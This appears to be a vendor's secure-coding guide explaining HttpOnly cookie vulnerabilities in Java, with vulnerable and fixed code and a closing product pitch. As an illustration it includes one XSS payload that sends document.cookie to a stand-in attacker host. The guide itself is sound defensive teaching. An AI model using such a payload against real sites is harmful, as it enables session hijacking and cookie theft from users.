HttpOnly Cookie Vulnerabilities

Learn how to prevent HttpOnly cookie vulnerabilities with real code examples and best practices. Protect your web applications from session hijacking and XSS attacks.

Tools recognizing this:

Opengrep Fortify Checkmarx SonarQube Snyk Semgrep CodeQL

The HttpOnly flag is a security feature that helps prevent client-side access to cookie data through JavaScript. When a cookie is set with the HttpOnly flag, it becomes inaccessible to client-side scripting languages like JavaScript, helping protect against Cross-Site Scripting (XSS) attacks.

Without the HttpOnly flag, cookies are vulnerable to:

  • Theft through XSS attacks

  • Session hijacking

  • Unauthorized access to sensitive cookie data

  • Client-side manipulation of cookie values

This guide covers HttpOnly cookie vulnerabilities, examples, prevention methods, and how to properly secure cookies in your applications.

Consider this basic example of setting a cookie:

Cookie cookie = new Cookie("sessionId", sessionValue);
response.addCookie(cookie);

An attacker exploiting an XSS vulnerability could steal this cookie using JavaScript:

<script>fetch('https://attacker.com?cookie='+document.cookie)</script>

The cookie data would be accessible because the HttpOnly flag is not set, allowing the attacker to hijack the user's session.

The most effective way to fix HttpOnly cookie vulnerabilities is to explicitly set the HttpOnly flag when creating cookies. This ensures that the cookie cannot be accessed through client-side scripts, providing an additional layer of security against XSS attacks.

Code Samples

Vulnerable Code

Cookie cookie = new Cookie("sessionId", sessionValue);

Fixed Code

Cookie cookie = new Cookie("sessionId", sessionValue);
cookie.setHttpOnly(true);
response.addCookie(cookie);

Fix Explanation

The vulnerable code creates a cookie without the HttpOnly flag.The fix explicitly sets the HttpOnly flag using setHttpOnly(true).This prevents JavaScript access to the cookie.The cookie becomes more resistant to XSS attacks.

Mobb supports fixing many forms of HttpOnly Cookie vulnerabilities, and can mitigate your issues in batch.

Start now for free at app.mobb.ai

We'd love your feedback!

We're excited to hear your thoughts and ideas about fixing vulnerabilities.

Book a meeting or Contact us if you have any corrections, questions or suggestions. Start now for free at https://app.mobb.ai

Last updated

Was this helpful?